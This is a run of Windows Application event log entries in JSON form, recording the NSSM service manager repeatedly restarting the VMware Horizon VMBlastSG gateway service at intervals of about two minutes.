{"@timestamp":1646707165765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158928}}
{"@timestamp":1646707165766,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158929}}
{"@timestamp":1646707165767,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158930}}
{"@timestamp":1646707165768,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158931}}
{"@timestamp":1646707294276,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158932}}
{"@timestamp":1646707294277,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158933}}
{"@timestamp":1646707294278,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156524","0"]}}},"module":"Application","provider":"nssm","sequence":158934}}
{"@timestamp":1646707294279,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156524","156524","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158935}}
{"@timestamp":1646707294295,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158936}}
{"@timestamp":1646707294296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158937}}
{"@timestamp":1646707294296,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158938}}
{"@timestamp":1646707294297,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158939}}
{"@timestamp":1646707422810,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158940}}
{"@timestamp":1646707422811,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158941}}
{"@timestamp":1646707422812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154332","0"]}}},"module":"Application","provider":"nssm","sequence":158942}}
{"@timestamp":1646707422812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154332","154332","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158943}}
{"@timestamp":1646707422828,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158944}}
{"@timestamp":1646707422829,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158945}}
{"@timestamp":1646707422830,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158946}}
{"@timestamp":1646707422831,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158947}}
{"@timestamp":1646707551331,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158948}}
{"@timestamp":1646707551334,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158949}}
{"@timestamp":1646707551335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153468","0"]}}},"module":"Application","provider":"nssm","sequence":158950}}
{"@timestamp":1646707551335,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153468","153468","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158951}}
{"@timestamp":1646707551351,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158952}}
{"@timestamp":1646707551352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158953}}
{"@timestamp":1646707551352,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158954}}
{"@timestamp":1646707551353,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158955}}
{"@timestamp":1646707679948,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158956}}
{"@timestamp":1646707679949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158957}}
{"@timestamp":1646707679950,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156104","0"]}}},"module":"Application","provider":"nssm","sequence":158958}}
{"@timestamp":1646707679951,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156104","156104","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158959}}
{"@timestamp":1646707679968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158960}}
{"@timestamp":1646707679968,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158961}}
{"@timestamp":1646707679969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158962}}
{"@timestamp":1646707679969,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158963}}
{"@timestamp":1646707808466,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158964}}
{"@timestamp":1646707808467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158965}}
{"@timestamp":1646707808467,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156244","0"]}}},"module":"Application","provider":"nssm","sequence":158966}}
{"@timestamp":1646707808468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156244","156244","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158967}}
{"@timestamp":1646707808489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158968}}
{"@timestamp":1646707808489,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158969}}
{"@timestamp":1646707808490,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158970}}
{"@timestamp":1646707808491,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158971}}
{"@timestamp":1646707937006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158972}}
{"@timestamp":1646707937008,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158973}}
{"@timestamp":1646707937009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","153268","0"]}}},"module":"Application","provider":"nssm","sequence":158974}}
{"@timestamp":1646707937009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["153268","153268","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158975}}
{"@timestamp":1646707937025,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158976}}
{"@timestamp":1646707937026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158977}}
{"@timestamp":1646707937026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158978}}
{"@timestamp":1646707937027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158979}}
{"@timestamp":1646708065525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158980}}
{"@timestamp":1646708065527,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158981}}
{"@timestamp":1646708065528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155760","0"]}}},"module":"Application","provider":"nssm","sequence":158982}}
{"@timestamp":1646708065528,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155760","155760","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158983}}
{"@timestamp":1646708065545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158984}}
{"@timestamp":1646708065545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158985}}
{"@timestamp":1646708065546,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158986}}
{"@timestamp":1646708065547,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158987}}
{"@timestamp":1646708194096,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158988}}
{"@timestamp":1646708194097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158989}}
{"@timestamp":1646708194097,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155088","0"]}}},"module":"Application","provider":"nssm","sequence":158990}}
{"@timestamp":1646708194098,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155088","155088","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158991}}
{"@timestamp":1646708194115,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158992}}
{"@timestamp":1646708194116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":158993}}
{"@timestamp":1646708194116,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":158994}}
{"@timestamp":1646708194117,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":158995}}
{"@timestamp":1646708322633,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":158996}}
{"@timestamp":1646708322635,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":158997}}
{"@timestamp":1646708322636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154288","0"]}}},"module":"Application","provider":"nssm","sequence":158998}}
{"@timestamp":1646708322636,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154288","154288","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":158999}}
{"@timestamp":1646708322652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159000}}
{"@timestamp":1646708322652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159001}}
{"@timestamp":1646708322653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159002}}
{"@timestamp":1646708322654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159003}}
{"@timestamp":1646708451144,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159004}}
{"@timestamp":1646708451146,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159005}}
{"@timestamp":1646708451147,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155764","0"]}}},"module":"Application","provider":"nssm","sequence":159006}}
{"@timestamp":1646708451148,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155764","155764","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159007}}
{"@timestamp":1646708451163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159008}}
{"@timestamp":1646708451163,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159009}}
{"@timestamp":1646708451164,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159010}}
{"@timestamp":1646708451165,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159011}}
{"@timestamp":1646708579653,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159012}}
{"@timestamp":1646708579654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159013}}
{"@timestamp":1646708579655,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154668","0"]}}},"module":"Application","provider":"nssm","sequence":159014}}
{"@timestamp":1646708579656,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154668","154668","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159015}}
{"@timestamp":1646708579672,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159016}}
{"@timestamp":1646708579673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159017}}
{"@timestamp":1646708579673,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159018}}
{"@timestamp":1646708579674,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159019}}
{"@timestamp":1646708708173,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159020}}
{"@timestamp":1646708708174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159021}}
{"@timestamp":1646708708174,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","155784","0"]}}},"module":"Application","provider":"nssm","sequence":159022}}
{"@timestamp":1646708708175,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["155784","155784","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159023}}
{"@timestamp":1646708708196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159024}}
{"@timestamp":1646708708196,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":159025}}
{"@timestamp":1646708708197,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159026}}
{"@timestamp":1646708708198,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":159027}}
{"@timestamp":1646708836689,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":159028}}
{"@timestamp":1646708836691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":159029}}
{"@timestamp":1646708836692,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","156412","0"]}}},"module":"Application","provider":"nssm","sequence":159030}}
{"@timestamp":1646708836693,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["156412","156412","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":159031}}
{"@timestamp":1646708836709,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":159032}}
